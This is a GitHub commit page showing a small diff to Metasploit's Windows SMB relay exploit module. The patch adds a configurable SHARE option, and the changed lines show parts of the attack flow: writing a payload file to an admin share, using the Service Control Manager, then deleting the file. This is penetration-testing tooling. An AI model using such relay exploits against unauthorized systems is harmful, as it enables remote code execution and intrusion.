Skip to content

Commit 9415e55

Browse files
committed
Merge branch 'feature/rm5455-patch-smb_relay' of github.com:lmercer-r7/metasploit-framework into lmercer-r7-feature/rm5455-patch-smb_relay
2 parents 25d8dac + deb9385 commit 9415e55

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/exploits/windows/smb/smb_relay.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -94,7 +94,8 @@ module is not able to clean up after itself. The service and payload
9494

9595
register_options(
9696
[
97-
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"])
97+
OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]),
98+
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
9899
], self.class )
99100
end
100101

@@ -124,8 +125,8 @@ def smb_haxor(c)
124125
return
125126
end
126127

127-
print_status("Connecting to the ADMIN$ share...")
128-
rclient.connect("ADMIN$")
128+
print_status("Connecting to the defined share...")
129+
rclient.connect(datastore['SHARE'])
129130

130131
@pwned[smb[:rhost]] = true
131132

@@ -155,8 +156,8 @@ def smb_haxor(c)
155156

156157
print_status("Created \\#{filename}...")
157158

158-
# Disconnect from the ADMIN$
159-
rclient.disconnect("ADMIN$")
159+
# Disconnect from the SHARE
160+
rclient.disconnect(datastore['SHARE'])
160161

161162
print_status("Connecting to the Service Control Manager...")
162163
rclient.connect("IPC$")
@@ -295,7 +296,7 @@ def smb_haxor(c)
295296
rclient.disconnect("IPC$")
296297

297298
print_status("Deleting \\#{filename}...")
298-
rclient.connect("ADMIN$")
299+
rclient.connect(datastore['SHARE'])
299300
rclient.delete("\\#{filename}")
300301
end
301302

0 commit comments

Comments
 (0)